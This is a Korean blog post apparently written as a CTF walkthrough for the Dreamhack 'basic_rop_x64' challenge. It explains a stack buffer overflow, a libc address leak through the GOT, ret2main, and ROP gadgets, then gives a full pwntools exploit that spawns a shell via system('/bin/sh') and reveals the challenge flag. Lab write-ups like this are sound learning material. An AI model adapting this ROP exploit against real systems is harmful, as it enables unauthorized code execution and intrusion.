미역줄기의 이모저모
[ Dreamhack ] basic_rop_x64 본문
문제 설명
본격 적인 분석 전에 checksec으로 보호기법을 확인한다.
x86-64 아키텍처.
canary가 없다.
NX가 적용되었다.
PIE 없다.
canary가 없다 == SFP, ret와 그 뒷 주소를 마음대로 변경해도 프로세스 종료가 안 된다! NX 걸려있다 == 셸코드 사용이 어렵다 == return oriented programming 기법을 사용하자!PIE가 적용되지 않았다 == 바이너리가 실행되는 메모리 주소가 랜덤화하지 않는다.
코드 분석
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
char형 buf의 크기를 0x40(64byte)로 정의했다.
read 부분에서 오버플로우를 일으키려는데.. 0x400만큼 입력받아서 buf에 저장한다니,, 오버플로우가 발생하겠다.
Exploit
ROP를 사용해서 system("/bin/sh")를 실행하는 것을 목표로 한다. 이를 위해 여러 가젯과 인자로 들어갈 값들을 찾아야 한다.
우리가 아는건
- buf의 크기는 64바이트고 1024바이트를 입력 받을 수 있어 bof가 발생한다.
- buf가 할당된 64바이트 뒤에는 8바이트의 SFP와 ret가 있다.
이 정도이다.
그림으로 나타내면
이렇게 생겼을 것이다. 그렇다면 buf의 64바이트 + SFP의 8바이트 = 72 바이트의 더미값을 넣고 ret를 원하는 값으로 덮으면 실행 흐름을 조작할 수 있다.
system 함수 주소 계산
ASLR이 걸려있기 때문에, system 함수의 주소를 계속 변하겠지만 ASLR로 인해 변경되는 주소는 라이브러리가 매핑된 Base 주소이고, 이에 따라 라이브러리 내부 함수들의 오프셋 값은 고정이다.
그래서 base 주소를 구하면
base 주소 + system 함수의 오프셋 을 통해 system 함수의 주소를 구할 수 있다.
system 함수는 libc.so.6에 정의되어 있고, 해당 라이브러리에는 read, puts, printf도 정의 되었다.
이 말은
read 함수의 주소 - read 함수의 오프셋을 하면 base주소를 구할 수 있다는 것이다.
read 함수가 실행된 이후 read 함수의 주소는 GOT에 등록되어 있기 때문에, read 함수의 GOT 값을 읽으면 read 함수의 주소를 구할 수 있다.
"/bin/sh" 문자열
system("/bin/sh") 를 실행하기 위해선 "/bin/sh" 문자열이 필요하다. "/bin/sh" 문자열의 주소를 grep 명령어로 찾자.
libc.so.6 라이브러리에 존재한다. 이 영역은 ASLR의 영향을 받는다. 그래서 system 함수와 동일한 방법으로
base 주소 + "/bin/sh" 문자열 오프셋 으로 주소를 구해야 한다.
"/bin/sh" 문자열의 오프셋은
from pwn import *
libc = ELF("./libc.so.6", checksec=False)
sh = list(libc.search(b"/bin/sh"))[0]
이렇게 pwntools의 ELF를 사용하여 libc를 불러온 후, libc에서 search 메서드 함수를 사용하면 된다.
시나리오
라이브러리의 base 주소를 모르기 때문에 바로 system("/bin/sh") 를 실행하기 어렵다. 그래서 ret2main 기법을 사용한다. ret2main 기법은 원하는 정보를 얻은 후, 다시 main 함수로 돌아와 원하는 명령을 계속 이어나가는 것이다.
1. write 함수를 이용해 라이브러리의 base 주소 libc base를 구하기
- write함수에서 read@got 값을 출력하여 read 함수 주소 획득
- libc base = read address - read offset
2. system 함수 주소 구하기
- system = libc base + system offset
3. "/bin/sh" 주소 구하기
- "/bin/sh" = libc base + "/bin/sh" offset
4. ret2main
- write(1, read@got, 8) 코드 이후 main의 주소를 넣어서 ret를 조작하면 다시 main 함수로 돌아올 수 있다.
5. 셸 획득
- system 함수의 주소, "/bin/sh"의 주소를 구했기 때문에 pop rdi; ret 가젯을 이용하면 system("/bin/sh")를 호출하여 셸을 획득할 수 있다.
Exploit code
from pwn import*
def slong(symbol, addr):
return success(symbol+": "+hex(addr))
p=remote("host3.dreamhack.games", 9311)
e=ELF("./basic_rop_x64")
libc = ELF("./libc.so.6", checksec=False)
#need val
read_plt=e.plt["read"]
read_got=e.got["read"]
write_plt=e.plt["write"]
write_got=e.got["write"]
pop_rdi=0x0000000000400883 #ROPgadget --binary ./basic_rop_x64 --re "pop rdi"
main=0x4007ba
pop_rsi_r15=0x0000000000400881 #ROPgadget --binary ./basic_rop_x64
ret=0x00000000004005a9 #ROPgadget --binary ./basic_rop_x64
sh=list(libc.search(b"/bin/sh"))[0]
paylaod:bytes=b'A'*0x48
#wirte(1,read@got,8)
paylaod+=p64(pop_rdi)+p64(1)
paylaod+=p64(pop_rsi_r15)+p64(read_got)+p64(8)
paylaod+=p64(write_plt)
#return to main
paylaod+=p64(main)
p.send(paylaod)
p.recvuntil(b'A'*0x40)
read=u64(p.recvn(6)+b'\x00'*2)
lb=read - libc.symbols["read"]
system=lb+libc.symbols["system"]
binsh=sh+lb
slong("read", read)
slong("libc base",lb)
slong("system", system)
slong("/bin/sh", binsh)
paylaod: bytes=b'A'*0x48
#system("/bin/sh")
paylaod+=p64(pop_rdi)+p64(binsh)
paylaod+=p64(system)
p.send(paylaod)
p.recvuntil(b'A'*0x40)
p.interactive()
flag: DH{6311151d71a102eb27195bceb61097c15cd2bcd9fd117fc66293e8c780ae104e}
'Hacking > Dremahack 문제풀이' 카테고리의 다른 글
[ Dreamhack ] fho (0) | 2024.02.17 |
---|---|
[ Dreamhack ] basic_rop_x86 (0) | 2024.02.16 |
[ Dreamhack ] rop (2) | 2024.02.11 |
[ Dreamhack ] Return to Library (1) | 2024.02.09 |
[ Dreamhack ] ssp_01 (0) | 2024.02.08 |